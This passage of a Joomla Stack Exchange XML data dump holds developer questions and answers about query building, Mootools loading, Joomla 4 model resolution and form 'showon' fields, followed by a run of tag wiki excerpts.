Soraru&lt;/td&gt;&#xA;&lt;td&gt;science-fiction&lt;/td&gt;&#xA;&lt;td&gt;2021-03-03&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;/div&gt;&#xA;&lt;p&gt;This new script is much cleaner, readable, and maintainable.&lt;/p&gt;&#xA;&lt;p&gt;The Joomla query builder syntax should look something like this: (I didn't take the time to test this)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = Factory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$query-&amp;gt;select(&#xA;    [&#xA;        &amp;quot;#__content.*&amp;quot;,&#xA;        &amp;quot;MAX(IF(field_id = 418, value, NULL)) AS author&amp;quot;,&#xA;        &amp;quot;MAX(IF(field_id = 417, value, NULL)) AS genre&amp;quot;,&#xA;        &amp;quot;MAX(IF(field_id = 46, value, NULL)) AS release_date&amp;quot;&#xA;    ]&#xA;)&#xA;-&amp;gt;from(&amp;quot;#__content&amp;quot;)&#xA;-&amp;gt;innerJoin(&amp;quot;#__fields_values ON id = item_id&amp;quot;)&#xA;-&amp;gt;where(&amp;quot;cat_id = &amp;quot; . (int)$catid)&#xA;-&amp;gt;group(&amp;quot;id&amp;quot;)&#xA;-&amp;gt;having(&amp;quot;MAX(IF(field_id = 418, value, NULL)) LIKE &amp;quot; . $db-&amp;gt;q(&amp;quot;%&amp;quot; . $db-&amp;gt;escape($sorttype , true) . &amp;quot;%&amp;quot;, false))&#xA;-&amp;gt;order(&amp;quot;genre, release_date&amp;quot;);&#xA;$db-&amp;gt;setQuery($query);&#xA;// var_export($db-&amp;gt;loadAssocList());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2021-05-15T12:52:52.177" LastActivityDate="2021-05-15T12:52:52.177" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="29135" PostTypeId="1" AcceptedAnswerId="29136" CreationDate="2021-05-14T15:00:26.693" Score="2" ViewCount="323" Body="&lt;p&gt;A javascript component on my site has stopped working. While debugging I found out it conflicted with Mootools. Only then I realize Mootools is loaded on my page. I remember reading an article saying that in recent Joomla versions, Mootools is no longer loaded, why then it is loaded on my page? Also I was able to find an archive of the page in question &lt;a href=&quot;http://web-old.archive.org/web/20210227182023/https://cchc-herald.org/about-us&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://web-old.archive.org/web/20210227182023/https://cchc-herald.org/about-us&lt;/a&gt; and on this page Mootools is not loaded and the javascript component works fine.&lt;/p&gt;&#xA;&lt;p&gt;I've made a very simple testing page ( a &amp;quot;single article&amp;quot; page) &lt;a href=&quot;https://cchc-herald.org/debug&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://cchc-herald.org/debug&lt;/a&gt; and you can see that even on this page Mootools is loaded. I can't remember doing anything that could cause Mootools to be loaded. Could anyone please help me find out?&lt;/p&gt;&#xA;&lt;p&gt;I need to find out why it is loaded, please don't simply tell me to get an extension to disable it.&lt;/p&gt;&#xA;&lt;p&gt;By the way, I keep Joomla updated on a weekly basis. So my site always has the latest Joomla version.&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2021-05-14T15:45:17.883" Title="How is Mootools loaded?" Tags="|javascript|mootools|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29136" PostTypeId="2" ParentId="29135" CreationDate="2021-05-14T15:45:17.883" Score="3" Body="&lt;p&gt;In Joomla it's possible to load JavaScript libraries via different ways, via:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;your template&lt;/li&gt;&#xA;&lt;li&gt;a component&lt;/li&gt;&#xA;&lt;li&gt;a (system) plugin&lt;/li&gt;&#xA;&lt;li&gt;a module&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;When it's loaded on every page, it's usually loaded via your template or a plugin.&lt;/p&gt;&#xA;&lt;p&gt;Could you test your site with the default Protostar template?&#xA;If it's still loaded, then it's probably a system plugin.&lt;/p&gt;&#xA;&lt;p&gt;If it isn't loaded with Protostar, then it's probably your current template (or a template override in your current template).&lt;/p&gt;&#xA;&lt;p&gt;See also:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/9963/clean-way-to-disable-mootools-in-my-back-end-component-or-workarounds&quot;&gt;Clean way to disable MooTools in my back-end component or workarounds?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/23473/remove-unwanted-joomla-scripts-in-version-3-8-x-curious-not-working&quot;&gt;Remove unwanted Joomla Scripts in version 3.8.x curious not working&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2021-05-14T15:45:17.883" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29137" PostTypeId="1" AcceptedAnswerId="29180" CreationDate="2021-05-14T20:40:31.980" Score="2" ViewCount="1299" Body="&lt;p&gt;In a controller, I am trying to load the model, but I have the following error:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Call to a member function getSearchURL() on bool&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So the &lt;code&gt;getModel()&lt;/code&gt; is returning &lt;code&gt;false&lt;/code&gt;.  This is the code of my controller, &lt;code&gt;MycomponentController&lt;/code&gt; just extend &lt;code&gt;BaseController&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Example\Mycomponent\Site\Controllers;&#xA;&#xA;class SearchController extends MycomponentController&#xA;{&#xA;    public function __construct($config = [])&#xA;    {&#xA;        parent::__construct($config);&#xA;    } &#xA;   &#xA;    public function results()&#xA;    {&#xA;        $model = $this-&amp;gt;getModel('Search');&#xA;        $this-&amp;gt;setRedirect(&#xA;            $model-&amp;gt;getSearchURL(&#xA;                'search',&#xA;                $model-&amp;gt;getState('searchwords'),&#xA;                $model-&amp;gt;getState('list.start'),&#xA;                $model-&amp;gt;getState('list.limit'),&#xA;                $model-&amp;gt;getUrlParams(),&#xA;                false&#xA;            )&#xA;        );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The class MycomponentController is the following :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Example\Mycomponent\Libraries\Controller;&#xA;&#xA;use Joomla\CMS\MVC\Controller\BaseController;&#xA;use Joomla\CMS\MVC\Factory\MVCFactoryInterface;&#xA;&#xA;class MycomponentController extends BaseController&#xA;{&#xA;    public function __construct($config = [], MVCFactoryInterface $factory = null, $app = null, $input = null)&#xA;    {&#xA;        $this-&amp;gt;app      = Factory::getApplication();&#xA;    &#xA;        if (empty($this-&amp;gt;input))&#xA;        {&#xA;            $this-&amp;gt;input = $this-&amp;gt;app-&amp;gt;input;&#xA;        }&#xA;&#xA;        parent::__construct($config, $factory, $app, $input);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The model is named &lt;strong&gt;SearchModel.php&lt;/strong&gt; and is the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Example\Mycomponent\Site\Model;&#xA;&#xA;class SearchModel extends MycomponentModel&#xA;{&#xA;    public function getSearchURL($view, $searchword = '', $limitstart = 0, $limit = 0, $params = '', $xhtml = true)&#xA;    {&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So why is the controller unable to find the model?&lt;/p&gt;&#xA;&lt;p&gt;P.S.: I have found that it goes to Joomla\CMS\MVC\Factory\LegacyFactory::createModel() then her it call Joomla\CMS\MVC\Model\LegacyModelLoaderTrait::getInstance() but here it doesn't loads by namespace but by old way, because the Joomla\CMS\MVC\Model\LegacyModelLoaderTrait::getInstance() clean all the namepsapce by removing the \&lt;/p&gt;&#xA;" OwnerUserId="1819" LastEditorUserId="1819" LastEditDate="2021-05-18T17:24:27.473" LastActivityDate="2021-05-18T18:01:49.943" Title="Model not found when from a controller" Tags="|model|joomla-4|contoller|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="29139" PostTypeId="2" ParentId="29137" CreationDate="2021-05-15T08:38:10.283" Score="1" Body="&lt;p&gt;&lt;em&gt;As far I am aware, feel free to correct me as I haven't played with Joomla 4 too much, the class naming conventions for controllers, models and views you need to use for Joomla to automatically resolve and load the related classes are the same as Joomla 3 and PSR/4 therefore your Controller and Model class name should be changed to &lt;code&gt;class MycomponentControllerSearch&lt;/code&gt;  &amp;amp; &lt;code&gt;MycomponentModelSearch&lt;/code&gt;&lt;/em&gt;&#xA;&lt;strong&gt;As per Zollie's comment the above does not apply to Joomla4&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you want to keep the names you have you need to tell Joomla where to find the Model, therefore you need to add your Models path to the list of paths to search. In Joomla 4 there is this method in the &lt;code&gt;/libraries/src/MVC/Controller/BaseController.php&lt;/code&gt; that I think you are supposed to use&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Adds to the stack of model paths in LIFO order.&#xA; *&#xA; * @param   mixed   $path    The directory (string), or list of directories (array) to add.&#xA; * @param   string  $prefix  A prefix for models&#xA; *&#xA; * @return  void&#xA; *&#xA; * @since   3.0&#xA; */&#xA;public static function addModelPath($path, $prefix = '')&#xA;{&#xA;    BaseModel::addIncludePath($path, $prefix);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In your Controller you can use&#xA;&lt;code&gt;$this-&amp;gt;addModelPath(JPATH_SITE . '/components/com_mycomponent/models&lt;/code&gt;'&#xA;which seems to be the correct way from what I could see.&lt;/p&gt;&#xA;&lt;p&gt;You could add a USE statement and call BaseModel::addIncludePath($path) directly like a lot of examples I found but it is depreciate in Joomla 5.0&lt;/p&gt;&#xA;" OwnerUserId="13306" LastEditorUserId="13306" LastEditDate="2021-05-15T10:49:06.010" LastActivityDate="2021-05-15T10:49:06.010" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29140" PostTypeId="2" ParentId="29137" CreationDate="2021-05-15T09:58:46.497" Score="0" Body="&lt;p&gt;I am also only taking my first steps in Joomla 4.&#xA;Like &lt;a href=&quot;https://joomla.stackexchange.com/users/13306/irata&quot;&gt;Irata&lt;/a&gt; I think, that it is best to use the Joomla Standard.&lt;/p&gt;&#xA;&lt;p&gt;Another possibility might be that your controller class extends&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Joomla\CMS\MVC\Controller\AdminController;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Joomla\CMS\MVC\Controller\BaseController;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and overwrites the method &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/0290ae2e8029b112206577d8e98371a61ac8e687/libraries/src/MVC/Controller/BaseController.php#L744&quot; rel=&quot;nofollow noreferrer&quot;&gt;getModel()&lt;/a&gt; so that the model is found.&lt;/p&gt;&#xA;" OwnerUserId="7387" LastActivityDate="2021-05-15T09:58:46.497" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29142" PostTypeId="2" ParentId="23416" CreationDate="2021-05-15T23:17:49.337" Score="1" Body="&lt;p&gt;Joomlatools Pages allows you to use Joomla's router and ACL and use html, php, and more to layout pretty much whatever you want.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.joomlatools.com/blog/developer/joomlatools-pages-the-page-generator-for-joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomlatools.com/blog/developer/joomlatools-pages-the-page-generator-for-joomla&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15281" LastActivityDate="2021-05-15T23:17:49.337" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29143" PostTypeId="1" CreationDate="2021-05-16T13:48:31.020" Score="0" ViewCount="41" Body="&lt;p&gt;Is it possible to create a menu item type -&amp;gt; Tags list BUT display as a Category Blog?&lt;/p&gt;&#xA;&lt;p&gt;I want to display a list of articles of the same tag in the same way as a category blog, that is, not just a list of article titles but the full articles (text, intro image, info, content, etc).&lt;/p&gt;&#xA;" OwnerUserId="15286" LastEditorUserId="13472" LastEditDate="2021-05-17T10:01:44.723" LastActivityDate="2021-05-17T10:01:44.723" Title="Joomla 3: Display tags as a Category Blog" Tags="|tags|category-blog|" AnswerCount="0" CommentCount="3" ClosedDate="2021-05-18T07:42:54.557" ContentLicense="CC BY-SA 4.0" />
  <row Id="29145" PostTypeId="1" CreationDate="2021-05-17T12:06:46.343" Score="2" ViewCount="78" Body="&lt;p&gt;I am currently writing a module with many backend settings, some of these use the &amp;quot;showon&amp;quot; attribute.&lt;/p&gt;&#xA;&lt;p&gt;For example: I have two fields of type &amp;quot;list&amp;quot;. In the second one, the options are evaluated with the &amp;quot;showon&amp;quot; of the first list.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;field  name=&amp;quot;fieldCat&amp;quot; &#xA;            type=&amp;quot;list&amp;quot; &#xA;            default=&amp;quot;0&amp;quot; &#xA;            required=&amp;quot;&amp;quot; &#xA;            label=&amp;quot;Category:&amp;quot; &#xA;            description=&amp;quot;&amp;quot;&amp;gt;&#xA;        &amp;lt;option value=&amp;quot;&amp;quot;&amp;gt;Select&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;Category 1&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;Category 2&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&amp;quot;3&amp;quot;&amp;gt;Category 3&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;    &#xA;    &amp;lt;field  name=&amp;quot;fieldItem&amp;quot; &#xA;            type=&amp;quot;list&amp;quot; &#xA;            default=&amp;quot;0&amp;quot; &#xA;            required=&amp;quot;&amp;quot; &#xA;            label=&amp;quot;Item:&amp;quot; &#xA;            description=&amp;quot;&amp;quot;&amp;gt;&#xA;        &amp;lt;option value=&amp;quot;&amp;quot;&amp;gt;Select&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&amp;quot;1&amp;quot; showon=&amp;quot;fieldCat:1&amp;quot;&amp;gt;Item 1&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&amp;quot;2&amp;quot; showon=&amp;quot;fieldCat:2&amp;quot;&amp;gt;Item 2&amp;lt;/option&amp;gt;&#xA;        &amp;lt;option value=&amp;quot;3&amp;quot;&amp;gt;Item 3&amp;lt;/option&amp;gt;&#xA;    &amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If I set the first list to Category 1, Item 1 is displayed and can be selected.&lt;/p&gt;&#xA;&lt;p&gt;But if I now select Category 2, Item 1 remains in the second list.&#xA;Please see the picture:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sjLcK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sjLcK.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Is it possible to reset the value of the second list (fieldItem) to default when changing the &amp;quot;higher-level&amp;quot; list (fieldCat)? Is this only possible with a custom field?&lt;/p&gt;&#xA;&lt;p&gt;My currently soulution is, that I have separate subordinate lists (fieldItem1, fieldItem2) for each fieldCat value.&lt;/p&gt;&#xA;" OwnerUserId="15290" LastActivityDate="2021-05-18T16:39:14.150" Title="Reset list option-value when changing showon value" Tags="|joomla-3.x|joomla-api|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="29146" PostTypeId="5" CreationDate="2021-05-17T16:19:32.653" Score="0" Body="&lt;p&gt;Since Joomla 3.7 you can use Custom Fields to create your own information fields and assign them to specific categories. More information: &lt;a href=&quot;https://docs.joomla.org/J3.x:Adding_custom_fields&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Adding_custom_fields&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-17T16:19:32.653" LastActivityDate="2021-05-17T16:19:32.653" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29147" PostTypeId="4" CreationDate="2021-05-17T16:19:32.653" Score="0" Body="With Custom Fields you can add extra information fields to Joomla's Articles and Users." OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-17T16:19:32.653" LastActivityDate="2021-05-17T16:19:32.653" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29148" PostTypeId="5" CreationDate="2021-05-17T16:25:54.657" Score="0" Body="&lt;p&gt;Joomla's System - Redirect plugin registers 404 errors. With the Redirect Component (Extensions &amp;gt; Redirects) you can redirect the faulty 404 links to other pages. More info: &lt;a href=&quot;https://docs.joomla.org/Help39:Components_Redirect_Manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Help39:Components_Redirect_Manager&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-17T16:25:54.657" LastActivityDate="2021-05-17T16:25:54.657" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29149" PostTypeId="4" CreationDate="2021-05-17T16:25:54.657" Score="0" Body="With Redirects a visitor can be redirected to another page." OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-17T16:25:54.657" LastActivityDate="2021-05-17T16:25:54.657" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29150" PostTypeId="5" CreationDate="2021-05-17T16:29:20.220" Score="0" Body="&lt;p&gt;Joomla User Groups are part of Joomla's Access Control List (ACL). You can add users to User Groups and assign permissions to those User Groups to allow/disallow certain tasks.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-17T16:29:20.220" LastActivityDate="2021-05-17T16:29:20.220" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29151" PostTypeId="4" CreationDate="2021-05-17T16:29:20.220" Score="0" Body="Joomla User Groups are used to control what users are allowed to do on a site." OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-17T16:29:20.220" LastActivityDate="2021-05-17T16:29:20.220" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29152" PostTypeId="5" CreationDate="2021-05-17T16:33:59.723" Score="0" Body="&lt;p&gt;Joomla has two different search functions, Search and Smart Search, to search for keywords in the website's database. Both search options can be extended with search plugins that interact within the (Smart) Search User Interface and Joomla's database tables.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-17T16:33:59.723" LastActivityDate="2021-05-17T16:33:59.723" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29153" PostTypeId="4" CreationDate="2021-05-17T16:33:59.723" Score="0" Body="Joomla has a two different Search functions to search in the website's database. " OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-17T16:33:59.723" LastActivityDate="2021-05-17T16:33:59.723" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29155" PostTypeId="5" CreationDate="2021-05-18T10:06:23.533" Score="0" Body="&lt;p&gt;Questions regarding Joomla's registration process or changing its behavior.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-18T10:06:23.533" LastActivityDate="2021-05-18T10:06:23.533" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29156" PostTypeId="4" CreationDate="2021-05-18T10:06:23.533" Score="0" Body="Questions regarding the registration process of Joomla" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-18T10:06:23.533" LastActivityDate="2021-05-18T10:06:23.533" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29157" PostTypeId="5" CreationDate="2021-05-18T10:11:01.487" Score="0" Body="&lt;p&gt;Joomla 3.7 (released April 2017) has a new routing system and the beginning of a forward compatibility layer with Joomla! 4.0. It was replaced by Joomla 3.8 in September 2017&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-18T10:11:01.487" LastActivityDate="2021-05-18T10:11:01.487" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29158" PostTypeId="4" CreationDate="2021-05-18T10:11:01.487" Score="0" Body="For questions regarding version 3.7 of the Joomla Content Management System.&#xD;&#xA;&#xD;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-18T10:11:01.487" LastActivityDate="2021-05-18T10:11:01.487" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29159" PostTypeId="5" CreationDate="2021-05-18T10:14:11.567" Score="0" Body="&lt;p&gt;Joomla has since version 3.8 a new feature called Custom Fields. With Custom Fields you can add extra information fields to Joomla's Articles and Users.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-18T10:14:11.567" LastActivityDate="2021-05-18T10:14:11.567" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29160" PostTypeId="4" CreationDate="2021-05-18T10:14:11.567" Score="0" Body="For questions regarding Joomla's Custom Fields" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-18T10:14:11.567" LastActivityDate="2021-05-18T10:14:11.567" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29161" PostTypeId="5" CreationDate="2021-05-18T10:18:55.973" Score="0" Body="&lt;p&gt;For many common output items, the HtmlHelper class makes it easier to format the output. See for instance the HtmlHelper Method to format the date output: &lt;a href=&quot;https://docs.joomla.org/How_to_use_JDate#The_HtmlHelper_Method_.28Recommended.29&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_to_use_JDate#The_HtmlHelper_Method_.28Recommended.29&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-18T10:18:55.973" LastActivityDate="2021-05-18T10:18:55.973" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29162" PostTypeId="4" CreationDate="2021-05-18T10:18:55.973" Score="0" Body="For questions regarding JHTML and its replacement HTMLHelper." OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-18T10:18:55.973" LastActivityDate="2021-05-18T10:18:55.973" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29163" PostTypeId="5" CreationDate="2021-05-18T10:21:28.547" Score="0" Body="&lt;p&gt;For questions regarding Joomla plugin events &lt;a href=&quot;https://docs.joomla.org/Plugin/Events&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Plugin/Events&lt;/a&gt; and of non-core extensions that can activate specific plugins to change the behavior.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-18T10:21:28.547" LastActivityDate="2021-05-18T10:21:28.547" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29164" PostTypeId="4" CreationDate="2021-05-18T10:21:28.547" Score="0" Body="For questions regarding plugin-events: events in Joomla and non-core extensions where you can hook into to change its behavior" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-18T10:21:28.547" LastActivityDate="2021-05-18T10:21:28.547" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29165" PostTypeId="5" CreationDate="2021-05-18T10:22:53.980" Score="0" Body="&lt;p&gt;For questions regarding the Model in the Model-View-Controller pattern used by Joomla. See also: &lt;a href=&quot;https://docs.joomla.org/Model-View-Controller/en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Model-View-Controller/en&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-18T10:22:53.980" LastActivityDate="2021-05-18T10:22:53.980" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29166" PostTypeId="4" CreationDate="2021-05-18T10:22:53.980" Score="0" Body="For questions regarding Models used in software to manage the data, logic and rules of the application." OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-18T10:22:53.980" LastActivityDate="2021-05-18T10:22:53.980" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29167" PostTypeId="5" CreationDate="2021-05-18T10:27:11.300" Score="0" Body="&lt;p&gt;For questions regarding JRoute and its modern namespaced version \Joomla\CMS\Router\Route that are used to create Search Engine URLs in Joomla. See also: &lt;a href=&quot;https://docs.joomla.org/URLs_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/URLs_in_Joomla&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-18T10:27:11.300" LastActivityDate="2021-05-18T10:27:11.300" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29168" PostTypeId="4" CreationDate="2021-05-18T10:27:11.300" Score="0" Body="For questions regarding JRoute and its modern name spaced version \Joomla\CMS\Router\Route" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-18T10:27:11.300" LastActivityDate="2021-05-18T10:27:11.300" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29169" PostTypeId="5" CreationDate="2021-05-18T10:30:08.147" Score="0" Body="&lt;p&gt;For questions regarding Joomla's Smart Search (com_finder) functionality that differs from its 'normal' Search function (com_search).&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-18T10:30:08.147" LastActivityDate="2021-05-18T10:30:08.147" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29170" PostTypeId="4" CreationDate="2021-05-18T10:30:08.147" Score="0" Body="For questions regarding Joomla's Smart Search functionality" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-18T10:30:08.147" LastActivityDate="2021-05-18T10:30:08.147" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29171" PostTypeId="5" CreationDate="2021-05-18T10:32:17.533" Score="0" Body="&lt;p&gt;For questions regarding Joomla's Category Blog view to display the intro text + intro image of multiple articles from one category on a page. See also: &lt;a href=&quot;https://docs.joomla.org/Understanding_categories_and_articles#List_and_Blog_Layouts&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Understanding_categories_and_articles#List_and_Blog_Layouts&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-18T10:32:17.533" LastActivityDate="2021-05-18T10:32:17.533" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29172" PostTypeId="4" CreationDate="2021-05-18T10:32:17.533" Score="0" Body="For questions regarding Joomla's Category Blog view to display the intro text + intro image of multiple articles from one category on a page." OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-18T10:32:17.533" LastActivityDate="2021-05-18T10:32:17.533" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29173" PostTypeId="5" CreationDate="2021-05-18T10:33:37.880" Score="0" Body="&lt;p&gt;For questions regarding the Controller in the Model-View-Controller pattern used by Joomla. See also: &lt;a href=&quot;https://docs.joomla.org/Model-View-Controller/en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Model-View-Controller/en&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-18T10:33:37.880" LastActivityDate="2021-05-18T10:33:37.880" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29174" PostTypeId="4" CreationDate="2021-05-18T10:33:37.880" Score="0" Body="For questions regarding Controllers used in software to accepts input and converts it to commands for the model or view" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-18T10:33:37.880" LastActivityDate="2021-05-18T10:33:37.880" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29175" PostTypeId="5" CreationDate="2021-05-18T10:35:57.460" Score="0" Body="&lt;p&gt;A symlink is a reference to another file or directory in the form of an absolute or relative path.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-18T10:35:57.460" LastActivityDate="2021-05-18T10:35:57.460" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29176" PostTypeId="4" CreationDate="2021-05-18T10:35:57.460" Score="0" Body="For questions regarding symlinks (symbolic links) used on Linux servers" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-18T10:35:57.460" LastActivityDate="2021-05-18T10:35:57.460" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
